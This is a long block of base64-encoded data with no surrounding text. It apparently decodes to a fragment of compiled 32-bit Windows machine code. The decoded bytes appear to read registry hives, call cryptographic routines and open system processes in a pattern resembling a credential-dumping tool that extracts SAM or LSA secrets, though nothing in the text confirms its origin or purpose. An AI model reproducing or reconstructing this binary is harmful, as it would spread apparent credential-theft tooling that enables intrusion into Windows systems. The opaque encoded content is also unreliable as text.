D4RZAQAAahBoABkFEFX/FZCwAxCLNayyAxCL+IX/dA9oEBkFEOjbUP//6eMAAAD/1j0kBAAAD4XIAAAAaGAZBRDov1D//1mNVCQQjUwkFOhfN///hcAPhJ4AAABTU2oDU2oBU/90JCj/FaSyAxCFwHRtg/j/dGhQ/xW0sgMQU1NTU1P/dCQkagFqAmoBaBAABgBopBkFEGgAGQUQVf8V8LADEIv4hf90LGjYGQUQ6FJQ//9Zi8/owQAAAIXAdAxoOBoFEOg8UP//6yL/1lBoiBoFEOsS/9ZQaCgbBRDrCP/WUGigGwUQ6BlQ//9ZWf90JBD/FZiyAxDrGf/WUGgoHAUQ6wj/1lBowBwFEOj0T///WVmLHaSwAxCF/3Q9agBqAFf/FZSwAxCFwHQMaDAdBRDoz0///+se/9Y9IAQAAHUHaHAdBRDr6f/WUGjAHQUQ6LBP//9ZWVf/01X/0+sT/xWssgMQUGg4HgUQ6JVP//9ZWV9eXTPAW4PEHMOD7EQPKAUg1gUQjQQkU1VXiz3csAMQM9tQU41EJCSJXCQcUIvpZsdEJCQAAWoEVcdEJET9AQIAx0QkSAIAAACJXCRMDxFEJFCJXCRg/9eFwA+FnAAAAP8VrLIDEIP4eg+FjQAAAFb/dCQQakD/FZCyAxCL8IX2dHmNRCQQUP90JBRWagRV/9eLPZiyAxCFwHRdjUQkUFBTU1NTU1NTU2oBjUQkQFD/FeywAxCFwHQ/jUQkFFCNRCQUUFZTU41EJEhQagFTU/8V4LADEIXAdRX/dCQUagRV/xXosAMQ/3QkFIvY/9f/dCRQ/xXksAMQVv/XXl9di8Nbg8REw1ZXvwAZBRBX6CF8//+LNayyAxBZhcB0B2i8HgUQ6w7/1j0mBAAAdSxo+B4FEOhcTv//WVfoUXv//1mFwHQMaMgfBRDoRk7//+sY/9ZQaAggBRDrCP/WUGhAHwUQ6C1O//9ZWV8zwF7DVYvsg+wMUzPbgT1UKgYQiBMAAFaJXfSJXfgPgiIBAACLVQyLTQhTU2iUIAUQ6NeA//+LVQyL8ItNCI1F/FNQaKwUBRDowID//4PEGIXAdDL/dfxopCAFEOjJTf//WVmLTfyNVfTot1L//4XAdU3/FayyAxBQaMAgBRDop03//1nrOItVDI1F/ItNCFNQaGQhBRDocoD//4PEDIXAdBJTU/91/OjVnAEAg8QMiUX06wtocCEFEOhsTf//WTld9HR7hfZ1M6FUKgYQPUAfAABzB7IBiFX46yM9uCQAAHMLag9aiFX4iFX56xGyP2bHRfg/P8ZF+mLrA4pV+A+2TfqLwcHoBFCLwYPhB8HoA4PgAVAPtkX5UVAPtsJQ/3X0aDAiBRDo/0z//2oIjVX0uUvAIgDopDj//4PEIOsSaHgiBRDrBWjYIgUQ6NpM//9ZXjPAW4vlXcNVi+yD7AyLVQyNRfyLTQhWM/ZWUGiQIwUQiXX0iXX46JB///+DxAyFwHQQVlb/dfzo85sBAIPEDIlF9ItVDI1F/ItNCFZQaJwjBRDoZH///4PEDIXAdBJWVv91/OjHmwEAg8QMiUX46wOLRfhQ/3X0aKgjBRDoV0z//4PEDIN99ABedQto+CMFEOhDTP//WYN9+AB1C2hAJAUQ6DJM//9ZagiNVfS5R8AiAOjWN///WTPAi+Vdw1WL7FFRi1UMjUX4i00IVjP2VlBoZCEFEIl1/Ojefv//g8QMhcB0FFZW/3X46EGbAQCLyIPEDIlN/OsDi038i8GNVfz32BvAg+AEUDPAhcm5T8AiAA9E0OhzN///WTPAXovlXcODfCQEAHQOuhfBIgCLTCQI6TEAAABoyCQFEOiYS///WTPAw4N8JAQAdA66J8EiAItMJAjpDgAAAGjIJAUQ6HVL//9ZM8DDVYvsUVZqAGoA/zGL8ui2mgEAUGioJAUQiUX86FFL//9qBI1V/IvO6Pk2//+DxBgzwF6L5V3DjUQkDFBqAP90JBBq//90JBToI3n//4sI/3AEg8kBUehChQEAg8Qcw4PsGFNVM9uL61ZXOVwkLA+E8gAAAItEJDBTU2oDU2oBaAAAAID/MP8VpLIDEIs9rLIDEIvwix20sgMQg/7/dDeNRCQQM8lQVYvWQehNW///WVmFwHQci0wkEI1EJBhQM9LoWgUAAFmLTCQQi+joQVz//1b/0+sP/9dQaPgoBRDoj0r//1lZg3wkLAEPjjABAACF7Q+EKAEAAItEJDAz7VVVagNVagFoAAAAgP9wBP8VpLIDEIvwg/7/dDiNRCQQM8lQVYvWQejSWv//WVmFwHQai0wkEI1EJBhQM9LoXAYAAFmLTCQQ6Mhb//9W/9PpzgAAAP/XUGh4KQUQ6BNK//9ZWem6AAAAjUQkEDPSUFMzyeiHWv//WVmFwA+EoQAAAIt8JBCNRCQUUL0ZAAIAugIAAIBVU2jwKQUQi8/ovFv//4PEEIXAdHKLVCQUjUQkGFCLz+hoBAAAi1QkGIvwWYvP6Axk//+F9nRQjUQkFLoCAACAUFVTaAAqBRCLz+h7W///g8QQhcB0HotUJBSNRCQYUIvP6KQFAACLVCQYWYvP6M1j///rE/8VrLIDEFBoCCoFEOhbSf//WVmLz+jyWv//X15dM8Bbg8QYw4tUJAiLTCQEagHoEwAAAFnDi1QkCItMJARqAOgCAAAAWcNVi+yD5PiD7CRTVldqAIvai/FqAGiYKgUQiVwkJOjne///g8QMi/iF9g+EKgEAAIX/dAmD/gEPhB0BAAAzwFBQagNQagFoAAAAgP8z/xWksgMQi9iD+/8PhOQAAACNRCQQM8lQagCL00HoQln//1lZhcAPhL0AAACLTCQQjUQkIFAz0uhLAwAAWYXAD4SbAAAAg/4BD46SAAAAhf90CYP+Ag+EhQAAADPAUFBqA1BQi8f32BvAJQAAAEANAAAAgFCLRCQw/3AE/xWksgMQi/CD/v90RY1EJBgzyVBXi9ZB6MxY//9ZWYXAdCaLTCQYjUQkIFf/dQgz0lBqAP90JCDoAQwAAItMJCyDxBTotln//1b/FbSyAxDrE/8VrLIDEFBoqCoFEOj8R///WVmLTCQQ6JFZ//9T/xW0sgMQ6eAAAAD/FayyAxBQaEArBRDo1Ef//1lZ6cgAAACNRCQQM9tQUzPSM8noRlj//1lZhcAPhK0AAACLdCQQjUQkFFBoGQACAFNo8CkFELoCAACAi87ofFn//4PEEIXAdH+LVCQUjUQkIFCLzugoAgAAWYXAdF+NRCQcugIAAIBQaBkAAgBTaNQrBRCLzuhEWf//g8QQhcB0KYtUJByNRCQgV/91CIvOUP90JCBW6BkLAACLVCQwg8QUi87oi2H//+sT/xWssgMQUGjoKwUQ6BlH//9ZWYtUJBSLzuhrYf//i87opVj//19eM8Bbi+Vdw4PsLFNVVldqB4vpjXwkJFm+uCwFEDPb86WNTCQQi8JRaBkAAgBTaNQsBRCLzYlEJCzosFj//4PEEIXAD4SCAAAAagQz9l+D/ghzLItUJBCNRCQUUI1EJByJfCQYUFFR/7aIRwQQi83opFz//4vYg8QUA/eF23TPhdt0Pf90JBiNRCQ4M9to5CwFEFdQ6LKj//+DxBCD+P90H/90JECLVCQgjUQkJGgZAAIAU1CLzegzWP//g8QQi9iLVCQQi83omGD//19eXYvDW4PELMOD7DBTVVZXM9uLwmoQQ4lEJByL6TP2X4XbD4SYAAAAjUwkEDPbUWgZAAIAU/+2kEgEEIvQi83o3lf//4PEEIXAdFtRi1QkFDPAUVBQUFFQUFGNRCQ4x0QkOAkAAABQjUQkVIvNUOi8Wf//g8QshcB0H41EJBwDxlCNRCQwaBgtBRBQ6Kxz//+DxAyD+P8PlcOLVCQQi83o81///+sLaCAtBRDoiEX//1mLRCQYg8YEO/cPgmD///+LVCREuEBHBBArwg+2DBCKTAwciApCg+8BdfBfXl2Lw1uDxDDDg+wMjUQkCFNVVjPti/FQi93oQf7//1mFwA+EVQEAAGiYLQUQ6CpF//+LVCQYjUQkEFBoGQACAFVosC0FEIvO6PlW//+DxBSFwA+ElAAAAItUJAyNRCQQV1BVUVFo9C0FEIvOiWwkKOj7Wv//g8QUhcB0V4tEJBSDwAJQakD/FZCyAxCL+IX/dEyLVCQQjUQkFFBXUVFo9C0FEIvO6MZa//+DxBSFwHQOV2gQLgUQ6KBE//9Z6wpoGC4FEOiTRP//WVf/FZiyAxDrC2jYLgUQ6H9E//9Zi1QkEIvO6NJe//9f6wtooC8FEOhmRP//WWhUMAUQ6FtE//+LVCQYjUQkEFBoGQACAFVoaDAFEIvO6CpW//+DxBSFwHRE/3QkHItUJBCLzuj7/f//i9hZhdt0FotMJBxVahBa6Hx0///HBCR0VQQQ6wVogDAFEOgDRP//i1QkEFmLzuhWXv//6wtoGDEFEOjrQ///WYtUJBSLzug+Xv//Xl2Lw1uDxAzDVYvsg+T4g+w8jUQkCFNWV1Az9ov5aBkAAgBWaLwxBRCL3uiZVf//g8QQhcAPhAQDAACLVCQUjUQkEFBWUVFo5DEFEIvPiXQkJOicWf//g8QUhcAPhGACAAD/dCQQakD/FZCyAxCL8IX2dFGLVCQUjUQkEFBWUVFo5DEFEIvP6GdZ//+DxBSFwHQgaOgxBRDoQkP//1mLTCQQg8HoA87oF3X//2h0VQQQ6wVoCDIFEOgiQ///WVb/FZiyAxAz9otUJBSNRCQ4UP91CIvP6KcDAABZWYXAD4RDAgAAi1QkFI1EJCBQaBkAAgBWaFQzBRCLz+jKVP//g8QQhcAPhCgCAABRi1QkJI1EJChRVlZWUVCNRCRQUFFWVovP6K5W//+L2IPELIlcJByF2w+E1AEAAItMJCRBiUwkJI0MTQIAAABRakD/FZCyAxCL2IXbD4StAQAAg3wkNACJdCQwD4aXAQAAi0QkJIPsEItUJDCLz4lEJCCNRCQgUFNW6LxZ//+DxByFwA+EYAEAAGhgMwUQU+jc/gAAWVmFwA+ESwEAAI1EJBhQaBgtBRBT6Ctw//+DxAyD+P8PhC8BAAD/dCQY/3QkHGhsMwUQ6AlC//+LVCQsjUQkOIPEDIvPUGgZAAIAagBT6NhT//+DxBCFwA+E9wAAAItUJCyNRCQQg2QkEABQagBRUWjkMQUQi8/o2Vf//4PEFIXAD4T1AAAA/3QkEGpA/xWQsgMQi/CJdCQohfYPhKUAAACLVCQsjUQkEFBWUVFo5DEFEIvP6JxX//+DxBQhRCQcdHKLRgwFzAAAAAPGUItGENHoUGiUMwUQ6GRB//+DxAyNRCQ4i86NlswAAACBwZwAAABqAP90JBxQ6L8AAACDxAyNRCQ4i86NlswAAABqAf90JByNiagAAABQ6J4AAACDxAzrG2ioMgUQ6BNB//9Z6fX9//9oCDIFEOgDQf//WVb/FZiyAxCLdCQwi1QkLIvP6Etb//9GiXQkMDt0JDQPgmn+//9T/xWYsgMQi1wkHItUJCCLz+gmW///6xhoqDIFEOi7QP//WevBaLAzBRDorkD//1mLVCQUi8/oAVv//+sT/xWssgMQUGg4NAUQ6I9A//9ZWV9ei8Nbi+Vdw1WL7IHssAAAAFNWjUXQiVX4iUXoM9s5XRCNRaxXiUX0i/lqEF65ADUFEIl14Lj0NAUQiXXkD0TBiXXsUGgMNQUQiXXw6DtA//9ZWTkfD4S/AAAAg38EFA+FtQAAAI2FVP///1D/FRS0AxBW/3UIizUAtAMQjYVU////UP/WagSNRQxQjYVU////UP/WOV0QuQBJBBBqC7iASAQQD0TBUI2FVP///1D/1o2FVP///1D/FQS0AxCLdfiNReyDxgQDN4190FCNReBQpaWlpf8ViLADEIXAeDGNRcBQjUUMUI1F0FD/FfSwAxCFwA+Zw4XbdA9qAGoQWo1NwOjsb///6xFoGDUFEOsFaJA1BRDocz///1lodFUEEOhoP///WV9ei8Nbi+Vdw4HsjAAAAFNVi6wknAAAAIvZVldqEFiJRCQkM/YhdCQUi/qJRCQoiUQkGIlEJByNhCSIAAAAaPg1BRCJXCQUiWwkMIlEJCToEz///1mNRCQUi9dQVlFRaBA2BRCLy+gQVf//g8QUhcAPhOsAAAD/dCQUakD/FZCyAxCL2IXbD4TgAAAAjUQkFIvXUFNRUYtMJCBoEDYFEOjXVP//g8QUhcAPhJ4AAACNRCQwUP8VFLQDEIs1ALQDEI1DcGoQUI1EJDhQ/9ZqL2jQRwQQjUQkOFD/1moQ/7QkpAAAAI1EJDhQ/9ZqKWiQRwQQjUQkOFD/1o1EJDBQ/xUEtAMQi/2Ns4AAAACNRCQYUI1EJCilUKWlpf8ViLADEDPJhcAPmcGJTCQQhcl0EmoAahBai83okm7//4t0JBTrFmgYNgUQ6Bw+///r7miQNgUQ6BA+//9ZU/8VmLIDEOsLaCA3BRDo/D3//1lodFUEEOjxPf//WV+Lxl5dW4HEjAAAAMOD7DxTVVZXvrg3BRCNfCQk/3QkVDPAi+qJRCQgi9mli0QkVGjgNwUQiWwkIKWLAKWlZqW+zDcFEIlEJDKNfCRApaWlpWalM/aJRCRGiXQkKOiOPf//jUQkGIvVUGgZAAIAjUQkNIvLVlDoX0///4stkLIDEIPEGIs9mLIDEIXAD4SKAAAAi1QkEI1EJFBQVlFRVovLiXQkZOhaU///g8QUhcB0YDl0JFB0Wv90JFBqQP/Vi/CF9nRKi1QkEI1EJFBQVlFRagCLy+gqU///g8QUhcB0K2aLBmaJRCQcZotGAmaJRCQei0YEA8aJRCQgjUQkHFBoEFgEEOjmPP//WVlW/9cz9otUJBCLy+gzV///i1QkGI1EJBRQaBkAAgCNRCRAi8tWUOijTv//g8QQhcB0fItUJBSNRCRQUFZRUVaLy4l0JGTorlL//4PEFIXAdFKDfCRQAHRL/3QkUGpA/9WL8IX2dD2LVCQUjUQkUFBWUVFqAIvL6H1S//+DxBSFwHQeaPg3BRDoWDz//4vO6DVu///HBCQAOAUQ6EU8//9ZVv/Xi1QkFIvL6JVW//9odFUEEOgsPP//WV9eXTPAW4PEPMOB7LAAAABTVVaDZCREAIvyV2owWGoQiUQkRDP/iUQkSIvpWIlEJEwz24lEJFCNhCSwAAAAiUQkVI1EJBRQaBkAAgBXaAQ4BRCJdCRAiWwkPIl8JDDosk3//4PEEIXAD4QtAwAAaHRVBBDoszv//4tUJBiLzccEJBQ4BRBoIDgFEOi5/f//i1QkHIvNaCg4BRBoODgFEOik/f//i1QkJI1EJERQaBkAAgBXaEA4BRCLzehWTf//g8QghcAPhLACAACLVCQ0jUQkGFCNRCQgx0QkHAQAAABQUVFXi83oVVH//4PEFIXAD4Q5AgAAD7dEJBxQD7dEJCJQaFg4BRDoIDv//4PEDI1EJCi5rDgFEFBoGQACAFdqCVpmOVQkKLiYOAUQi1QkIA9GwYvNUOjbTP//g8QQhcAPhOkBAACLVCQojUQkGFBXUVFXi83o5lD//4PEFIXAD4TKAQAA/3QkGGpA/xWQsgMQi/CJdCQkhfYPhKwBAACLVCQojUQkGFBWUVFXi83orVD//4PEFIXAD4SGAQAAaglYZjlEJBwPhskAAAD/tCTMAAAAi1QkHIvOV+ibDQAAWVmFwA+EWwEAAP92PGpA/xWQsgMQi9iF2w+ERgEAAP92PI1OTFFT6GpDAgCDxAz/cxho3DgFEOgxOv//jUsE6Ntr//9odFUEEOgfOv//M8CDxAw5QxgPhgkBAACL+IvoV2gQOQUQjTQr6P85//+NThzoqWv//2gkOQUQ6O05//+LVjCNTjSDxAxqAOhDav//xwQkdFUEEOjROf//g8UYRwNuMFk7exhyt4tsJCyLfCQg6asAAACNRCRYUP8VFLQDEGoQ/7Qk0AAAAI1EJGBQ/xUAtAMQjW48vugDAABqEFWNRCRgUP8VALQDEIPuAXXtjUQkWFD/FQS0AxCLdCQkjUYMiUQkSI1EJExQjUQkRFD/FYiwAxCLbCQshcB4R2oQakD/FZCyAxCL+Il8JCCF/3Qzg8YcaCg5BRClpaWl6Co5//+LfCQkWWoAahBai8/of2n//8cEJHRVBBDoDTn//1mLdCQkVv8VmLIDEIt0JDCLVCQ0i83oUVP//4XbdQSF/3Q5g7wk0AAAAACLzYtUJBR0F1dT/7Qk0AAAAP+0JNAAAADoQgAAAOsP/7Qk1AAAAFdTVuihAgAAg8QQi1QkFIvN6AVT//+F23QHU/8VmLIDEIX/dAdX/xWYsgMQX15dM8BbgcSwAAAAw4PsKI1EJAhVVldQvxkAAgAz7VdVaEA5BRCL8ehNSv//g8QQhcAPhDwCAACLVCQ8jUQkLFOLXCQ8i8tQ6Efx//9ZhcAPhBICAACLVCQwjUQkLFBXVWhQOQUQi8voDUr//4PEEIXAD4TlAQAAUYtUJByNRCQgUVVVVVFQjUQkRFBRVVWLzujxS///g8QshcAPhLEBAACLRCQcQIlEJByNBEUCAAAAUGpA/xWQsgMQi/iF/w+EjgEAADlsJCgPhn0BAACLRCQcg+wQi1QkKIvOiUQkRI1EJERQV1XoCk///4PEHIXAD4RKAQAAV2hkOQUQ6I83//9qBGiAOQUQV+hScgEAg8QUhcB1EItUJCyNRwhQi8voBQcAAFmLVCQYjUQkJFBoGQACAGoAV4vO6D1J//+DxBCFwA+E7QAAAItUJCSNRCQUUGgZAAIAagBojDkFEIvO6BZJ//+DxBCFwHROi1QkFI1EJCBQjUQkFIvOUP90JFD/dCRQ6DsHAACDxBCFwHQfi1QkEItMJCBXaJw5BRDoyggAAFlZ/3QkEP8VmLIDEItUJBSLzug2Uf//i1QkJI1EJBRQaBkAAgBqAGioOQUQi87opUj//4PEEIXAdE6LVCQUjUQkIFCNRCQUi85Q/3QkUP90JFDoygYAAIPEEIXAdB+LVCQQi0wkIFdouDkFEOhZCAAAWVn/dCQQ/xWYsgMQi1QkFIvO6MVQ//+LVCQki87oulD//2h0VQQQ6FE2//9ZRTtsJCgPgoP+//9X/xWYsgMQi1QkLIvL6JJQ//+LVCQwi8voh1D//4tUJBiLzuh8UP//W19eM8Bdg8Qow4PsfFNVVldqEFiJRCRQvhkAAgCJRCRUM+2NRCR4x0QkaGC6T8qJRCRYuwAoAACNRCQ4iVwkLFBWVWjEOQUQi/nHRCR83EZseseEJIAAAAADPBeBx4QkhAAAAJTAPfbomkf//4PEEIXAD4TOBAAAi1QkOI1EJEBQjUQkHIvPUP+0JKAAAAD/tCSgAAAA6LUFAACDxBCFwA+ElQQAAIuUJJAAAACNRCQQUIuEJKAAAACLz/fYG8AlBgACAAvGUFVo8DkFEOg1R///g8QQhcAPhFQEAAA5rCSUAAAAdHFodFUEEOgtNf//i1QkFI1EJEhZUI1EJBhQUVFo/DkFEIvP6CRL//+DxBSFwHQ4i1QkFIvKi8KB4QD8///B4Ao70w9HwYvYU1JoIDoFEIlcJDjo4TT//4PEDDlsJBR1EmiEOgUQ6wVoqDoFEOjHNP//WVGLVCQUjUQkLFFQjUQkMFCNRCREUFFVVVFVVYvP6JtI//+DxCyFwA+EogMAAItEJCSLNZCyAxBAiUQkJI0ERQIAAABQakD/1ovYhdsPhH0DAAD/dCQoakD/1ovwhfYPhGQDAACLzYlMJBQ5TCQ0D4ZNAwAAi0QkJItUJBCJRCQ8i0QkKIlEJCCNRCQgUFaNRCQ4UFGNRCRMUFNRi8/owUz//4PEHIXAD4QBAwAAagpo+DoFEFPo3G4BAIPEDIXAD4TpAgAAahFo/DkFEFPoxG4BAIPEDIXAD4TRAgAA9kYwAQ+ExwIAAFNoEDsFEOjUM///jU4g6Fpl////dhD/dhBoIDsFEOi8M///i2wkNI1GQIPFoIPEFIO8JJQAAAAAiWwkHA+ERQEAAGoAUFH/dCQkjW5g/3QkLIvV6CL6/v+DxBSFwA+EZAIAALIyi87opwIAAIO8JJwAAAAAD4RNAgAAaFQ7BRDoWzP//2aLBo1UJGxmiUQkTmaJRCRMjYaoAAAAWf90JCyJRCRQi82NRCRMUOjH/f7/WVmFwA+IDQIAAGh0OwUQ6Bsz//9ZagBqEFqLzeh0Y///xwQkdFUEEOgCM///i1QkHI1GUFlqEFD/dCQkuQSAAABVahDonvP+/4PEFIXAD4TDAQAAaJQ7BRDo0TL//1lqAGoQWo1OUOgpY///xwQkdFUEEOi3Mv//WWoBjUZAi9VQUf90JCT/dCQs6Dv5/v+DxBSFwA+EfQEAAP90JCCLVCQUVv90JDhRU4vP6D1J//+DxBSFwHQPaLQ7BRDobjL//+lQAQAA/xWssgMQUGjIOwUQ6TkBAACLVCQYuQOAAABqEP90JFxqEFD/dCRQ6PXy/v+DxBSFwA+EBwEAAI1EJFCJbCRgUIlsJGCNRCRgjW5gUIlsJGz/FYiwAxCFwA+I2AAAALIxi87oNgEAAIO8JJwAAAAAD4TcAAAAaFQ7BRDo6jH//2aLBo1UJGxmiUQkTmaJRCRMjYaoAAAAWYlEJEyLzY1EJEhqAFDoWPz+/1lZhcAPiJ4AAABodDwFEOisMf//WWoAahBai83oBWL//8cEJHRVBBDokzH//4tUJFyNRlBZahBQ/3QkJLkDgAAAVWoQ6C/y/v+DxBSFwHRYaJQ7BRDoZjH//1lqAGoQWo1OUOi+Yf//xwQkdFUEEOhMMf//WY1EJFBQjUQkYFD/FYiwAxCFwA+Jnv7//1BomDwFEOsM/xWssgMQUGgwPQUQ6Box//9ZWYtMJBRBiUwkFDtMJDQPgrP8//9W/xWYsgMQU/8VmLIDEItUJBCLz+hLS////3QkGP8VmLIDEItUJDiLz+g2S///X14zwF1AW4PEfMNTVVaL6YraVw+3fQCNhagAAABQi/eBx6gAAADR7laD5gGNBHcDxVAPt0UC0ehQaMQ9BRDolDD//w++w1Bo9D0FEOiGMP//agBqEI1NYFro32D//2h0VQQQ6G8w//+DxCRfXl1bw1WL7FFRV41F/Iv5UGgZAAIAagD/dQjoNkL//4PEEIXAdHOLVfyNRfhTUGoAUVG7ED4FEIvPU+hARv//g8QUhcB0SItF+FaDwAJQakD/FZCyAxCL8IX2dDGLVfyNRfhQVlFRU4vP6BFG//+DxBSFwHQRVv91CGgoPgUQ6Ogv//+DxAxW/xWYsgMQXotV/IvP6DJK//9bX4vlXcOD7CxVVmoQi8Ez9lmJTCQci+qJTCQgjUwkCFFWUVFWi8iJRCQgiXQkHIl0JCSJdCQoiXQkLIl0JDjoo0X//4PEFIXAD4RYAQAAOXQkCA+ETgEAAFOLHZCyAxBX/3QkEGpA/9OL+IX/D4QyAQAAjUQkEIvVUFdRUYtMJCRW6GBF//+DxBSFwA+EAQEAADl0JEB0T4tUJBCLz1b/dCRE6FkCAABZWYXAD4TsAAAAi0c8i2wkTFBqQIlFAP/Ti8iLRCRIiQiFyQ+EzQAAAP91AI1HTEZQUegdOAIAg8QM6bcAAACLRCREhcAPhKsAAACLLQCxAxCJRCQsi8eLDyvBA0QkEIlEJDiNRCQYUI1EJCiJTCQ4UI1EJDiJTCQ4UP/VPSMAAMB1c/90JBhqQP/TiUQkIIXAdGOLRCQYiUQkHI1EJBhQjUQkKFCNRCQ4UP/VhcB4L4tEJBiLbCRMUGpAiUUA/9OLyItEJEiJCIXJdBP/dQAz9v90JCRGUeh4NwIAg8QM/3QkIP8VmLIDEOsLaHA+BRDoNi7//1lX/xWYsgMQX1uLxl5dg8Qsw1WL7IPsWFZXi/qL8WaJdfhmiXX6iX38hf8PhC0BAACF9g+EJQEAAP91CGhIXwQQ6PAt//9ZWYH+//8AAHccjU346Apc//+FwHQQjUX4UGgcPwUQ6Mwt///rFWgwPwUQ6MAt//9qAYvWi8/oG17//1lZaEA/BRD/dQzoQeoAAFlZhcB1aGoQjUWoi9dQVrkCgAAA6A/r/v+DxAyFwHQZaFw/BRDofC3//2oAahBajU2o6NVd//9ZWWoUjUWoi9dQVrkEgAAA6Nzq/v+DxAyFwHR7aHQ/BRDoSS3//2oAahRajU2o6KJd//9ZWetgaIw/BRD/dQzoxukAAFlZhcB1TYP+LHVIaKg/BRDoFi3//2oAaihajU8E6G9d//9owD8FEOj/LP//agBqFFqNTwToWF3//2jYPwUQ6Ogs//9qAGoUjU8YWuhBXf//g8QYX16L5V3Dg+w0U1VWV4t8JEiL6TPbiVQkIIlsJByF/3RPM9Iz7YlUJEg5VxgPhq4BAACNDC8z9otEJByLRLAEO0SxHHUWRoP+BHXsi0EwjXE0i2wkHIlEJBDrKUKDxRiJVCRIA2kwO1cYcsfpcAEAAIt0JEyF9g+EZAEAAMdEJBAQAAAAhfYPhFQBAABoAAAA8GoYM/+NRCQkV1dQ/xU8sAMQhcAPhDYBAACNRCQUUFdXaAyAAAD/dCQs/xUksAMQhcAPhA0BAABX/3QkFFb/dCQgizUgsAMQ/9aJfCRIjX0cagBqIFf/dCQg/9aLRCRIQIlEJEg96AMAAHLlaiBeM/+JdCQQV41EJBRQjUQkLFBqAv90JCT/FQywAxCFwA+EpwAAAItMJByNRCQYV1BXjUQkMLoQZgAAVlDo7en+/4PEFIXAdHJXjUQkTMdEJEwCAAAAUGoE/3QkJP8VFLADEIXAdDWLRCQgg8DEiUQkEI1EJBBQjUU8UFdXV/90JCz/FSywAxCL2IXbdSH/FayyAxBQaOA/BRDrDP8VrLIDEFBoWEAFEOguK///WVn/dCQY/xVIsAMQ6xP/FayyAxBQaNhABRDoDyv//1lZ/3QkFP8VGLADEFf/dCQg/xUAsAMQX15di8Nbg8Q0w4HsdAEAAI1EJEDHRCRsuEEFEFOJRCRYiUQkULhYQQUQVYlEJHCJhCSAAAAAiYQkkAAAAImEJKAAAACJhCSwAAAAiYQkwAAAAImEJNAAAAC4cEEFEFaLtCSIAQAAiYQk5AAAAImEJPQAAAC4nEEFEFcz/4mEJAgBAACL34mEJBgBAACNRCR4iXwkMIvviXwkSIl8JCiJfCQ4iXwkJIl8JCyJfCQciVwkGIl8JFCJfCRUiXwkYIl8JFjHhCSAAAAAQUFBQYm8JIQAAADHhCSMAAAAxEEFEMeEJJAAAABCQkJCibwklAAAAMeEJJwAAADUQQUQx4QkoAAAAENDQ0OJvCSkAAAAx4QkrAAAAPRBBRDHhCSwAAAARERERIm8JLQAAADHhCS8AAAABEIFEMeEJMAAAABFRUVFibwkxAAAAMeEJMwAAAAUQgUQx4Qk0AAAAEZGRkaJvCTUAAAAx4Qk3AAAADBCBRDHhCTgAAAAR0dHR4m8JOQAAADHhCTsAAAAUEIFEMeEJPAAAABISEhIibwk9AAAAMeEJPwAAAB0QgUQx4QkAAEAAElJSUmJvCQEAQAAx4QkDAEAAJhCBRDHhCQQAQAASkpKSom8JBQBAADHhCQcAQAAqEIFEMeEJCABAABLS0tLibwkJAEAAMeEJCgBAACIQQUQx4QkLAEAALRCBRDHhCQwAQAATExMTIm8JDQBAADHRCRoDAAAAIlEJGw5HaAoBhAPhaYBAACLjCSIAQAAi9ZXV2i8QgUQ6JBb//+DxAyFwA+EEAEAAP81VCoGELkADgYQagRa6CQr//+L8FmF9g+E6QAAAItOCLo4BAAAiUwkYItOEIlMJFiNTCQY6BYEAACLXCQYhcAPhLgAAACNhCRUAQAAulhBBRBQi8voUDH//1mFwA+EiAAAAIuEJFQBAACNVCRgUf+0JJABAACJhCRMAQAAjYwkTAEAAP+0JJABAACLhCRkAQAAiYQkVAEAAIuEJGgBAACJhCRYAQAAjUQkZGjpQAEQ/3YUxwWgKAYQAQAAAP92DFD/dgToECn//4PEIIXAdRP/FayyAxBQaMhCBRDowSf//1lZiT2gKAYQ6xP/FayyAxBQaDBDBRDopif//1lZi3wkFOkhAwAAi3wkFOkzAwAAOR2gKAYQdW6LjCSIAQAAi9ZXV2jkQwUQ6Fha//+DxAyFwHRSujoEAACNTCQY6A4DAACLXCQYhcB0PI2EJDwBAAC6xGMBEFCNRCRsi8tQuB9oARArwlDoAkX//4PEDIXAdAmNrCQ8AQAA6wto+EMFEOgdJ///WWoGWTPAjbwkaAEAAPOrjUQkRDP/UGoBjYQkcAEAAFBX/xVYsAMQhcAPiGUCAACNRCQgUGoF/3QkTP8VXLADEIXAD4g8AgAAV2g/AA8AjUQkSFBX/xWQswMQi/iF/w+IBwIAAI1EJBRQi0QkJP9wCGgFBwAA/3QkTP8VhLMDEIv4iXwkTIX/D4jFAQAA/3QkIGicRAUQ6IIm//+LTCQoi0kI6FpY//9odFUEEOhsJv//i4wklAEAAI1EJDSDxAyL1moAUGgQ3AQQ6DJZ//+DxAxqAIXAdHhqAP90JDDoknUBAIPEDIlEJDSFwHRXjUQkHFCNRCQoUI1EJDxQagH/dCQk/xWMswMQi/iF/3gri1QkNItMJBRV/3QkKOghAgAAWVn/dCQkizWYswMQ/9b/dCQc/9bpDQEAAFdowEQFEOmAAAAA/3QkKGgwRQUQ63WLjCSMAQAAjUQkPFBomEUFEIvW6JlY//+DxAyFwHRf/3QkOI1EJHRQ/xVYtAMQjUQkHFCNRCQwUI1EJHhQagH/dCQk/xWAswMQi/iF/3ggi1QkLI1EJHCLTCQUVVCLEuiOAQAAWVn/dCQs6Wj///9XaKhFBRDoVCX//1lZ63mNRCQ8UGpkjUQkOFBqAI1EJFhQ/3QkKP8VfLMDEIvwhfZ5D1ZoGEYFEOgiJf//WVnrNzP/OXwkPHYlM9uLVCQwi0wkFFWNQgSLFBMDw1DoIQEAAEeDwwxZWTt8JDxy3f90JDD/FZizAxCB/gUBAAB0j4t8JEyLXCQY/3QkFP8VnLMDEOsNV2iQRgUQ6MAk//9ZWf90JED/FZyzAxDrDVdo8EYFEOinJP//WVn/dCQg/xUQsQMQ6wSLfCQU/3QkRP8VVLADEOsEi3wkFIXtdAeLzejmHf//hdt0F4tDBIM4AHQI/zD/FbSyAxCLy+j0Gf//i8dfXl1bgcR0AQAAw1WL7IPsJFNWV4v6i9mNVdy5SEcFEDP26ItQ//+FwHQ6/3X4Vlf/FdCyAxCL+IX/dBszyYvXU0HoABn//4vwWYX2dSpX/xW0sgMQ6yH/FayyAxBQaFhHBRDrDP8VrLIDEFBo0EcFEOjnI///WVlfi8ZeW4vlXcOD7BxTVVZX/3QkMIv6i/FXV2hwSAUQ6MEj//+DxBCDfCQ0AA+FsQAAAI1EJBRQV2gbAwAAVv8ViLMDEIXAD4iIAAAAjUQkEFBqEv90JBz/FZSzAxCFwHhaaKxIBRDoeiP//1mLTCQQM/aAeSEAdA1WahCDwRBa6MdT//9ZaLxIBRDoViP//1mLTCQQgHkgAHQKVmoQWuioU///WWh0VQQQ6Dcj//9Z/3QkEP8VmLMDEOsNUGjQSAUQ6B8j//9ZWf90JBT/FZyzAxDrfFBoUEkFEOgGI///W